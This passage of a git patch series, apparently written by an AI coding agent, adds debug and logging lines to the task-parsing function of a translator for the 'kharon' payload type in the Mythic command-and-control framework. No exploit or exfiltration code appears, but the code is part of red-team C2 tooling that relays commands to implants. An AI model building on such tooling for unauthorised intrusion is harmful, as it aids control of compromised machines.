                 Profile = Psr.Int32()
+                Dbg2(f"Profile: {Profile}")
                 TaskLength = Psr.Int32()
+                Dbg2(f"Task length: {TaskLength}")
                 if TaskLength <= 0:
                     Dbg2(f"Invalid task length: {TaskLength}")
                     continue
@@ -302,17 +306,22 @@ def PostC2(Data):
                     continue
                     
                 TaskPsr = Parser(TaskData, TaskLength)
+                Dbg2(f"Created task parser with {TaskLength} bytes")
                 
                 try:
                     TaskUUID = TaskPsr.Bytes().replace(b'\x00', b'')
                     TaskUUID = TaskUUID.decode('utf-8') if TaskUUID else "unknown"
+                    Dbg2(f"Parsed TaskUUID: {TaskUUID}")
                 except UnicodeDecodeError:
                     TaskUUID = TaskUUID.hex() if TaskUUID else "unknown"
+                    Dbg2(f"TaskUUID decode failed, using hex: {TaskUUID}")
+                except Exception as e:
+                    TaskUUID = "unknown"
+                    Dbg2(f"TaskUUID parsing failed: {str(e)}")
                 
                 try:
                     CommandID = TaskPsr.Pad(2)
                     CommandID = int.from_bytes(CommandID, byteorder="big") if len(CommandID) == 2 else 0
-
                     Dbg2(f"Process command id: {CommandID}")
                 except Exception as e:
                     CommandID = 0

From 8ad0b4d28c94ae047a7a4896c7a1bf060e0bd3c2 Mon Sep 17 00:00:00 2001
From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com>
Date: Tue, 16 Sep 2025 14:40:13 +0000
Subject: [PATCH 11/12] Add critical debugging to identify PostC2 parsing
 failure point

Co-authored-by: pondzikk <142788369+pondzikk@users.noreply.github.com>
---
 Payload_Type/kharon/Mythic/Translator/ToC2.py | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/Payload_Type/kharon/Mythic/Translator/ToC2.py b/Payload_Type/kharon/Mythic/Translator/ToC2.py
index 369a026..2215eda 100644
--- a/Payload_Type/kharon/Mythic/Translator/ToC2.py
+++ b/Payload_Type/kharon/Mythic/Translator/ToC2.py
@@ -280,8 +280,12 @@ def PostC2(Data):
     Dbg3(f"buffer: {Data} [{len(Data)}]")
 
     try:
+        Dbg2(f"About to create Parser with data length: {len(Data)}")
+        Dbg2(f"First 50 bytes of data: {Data[:50]}")
         Psr = Parser(Data, len(Data))
         Dbg2(f"Created parser with {len(Data)} bytes")
+        
+        Dbg2("About to read task quantity (Int32)")
         Tasks = Psr.Int32()
         Dbg2(f"Task quantity: {Tasks}")
 
@@ -369,6 +373,9 @@ def PostC2(Data):
 
     except Exception as e:
         Dbg2(f"Fatal error in PostC2: {str(e)}")
+        Dbg2(f"Exception type: {type(e).__name__}")
+        import traceback
+        Dbg2(f"Traceback: {traceback.format_exc()}")
         return {"action": "post_response", "responses": [], "error": str(e)}
 
     JsonData = {

From debc0783d499c3567cac3afb2edfb05179cce618 Mon Sep 17 00:00:00 2001
From: "copilot-swe-agent[bot]" <198982749+Copilot@users.noreply.github.com>
Date: Tue, 16 Sep 2025 14:47:03 +0000
Subject: [PATCH 12/12] Add direct logging to verify PostC2 debugging execution

Co-authored-by: pondzikk <142788369+pondzikk@users.noreply.github.com>
---
 Payload_Type/kharon/Mythic/Translator/ToC2.py | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/Payload_Type/kharon/Mythic/Translator/ToC2.py b/Payload_Type/kharon/Mythic/Translator/ToC2.py
index 2215eda..6e81481 100644
--- a/Payload_Type/kharon/Mythic/Translator/ToC2.py
+++ b/Payload_Type/kharon/Mythic/Translator/ToC2.py
@@ -274,19 +274,25 @@ def QuickMsg( Data ):
 def PostC2(Data):
     Dbg2("------------------------")
     Dbg2(f"PostC2 called with {len(Data)} bytes of data")
+    Dbg2("=== CRITICAL DEBUG: Enhanced PostC2 function is being used ===")
     RespTsk = [] 
     RespSck = []
 
     Dbg3(f"buffer: {Data} [{len(Data)}]")
 
     try:
+        import logging
+        logging.info("POST => DIRECT LOGGING: About to create Parser")
         Dbg2(f"About to create Parser with data length: {len(Data)}")
         Dbg2(f"First 50 bytes of data: {Data[:50]}")
         Psr = Parser(Data, len(Data))
+        logging.info("POST => DIRECT LOGGING: Parser created successfully")
         Dbg2(f"Created parser with {len(Data)} bytes")
         
+        logging.info("POST => DIRECT LOGGING: About to read task quantity")
         Dbg2("About to read task quantity (Int32)")
         Tasks = Psr.Int32()
+        logging.info(f"POST => DIRECT LOGGING: Task quantity read: {Tasks}")
         Dbg2(f"Task quantity: {Tasks}")
 
         Index = 0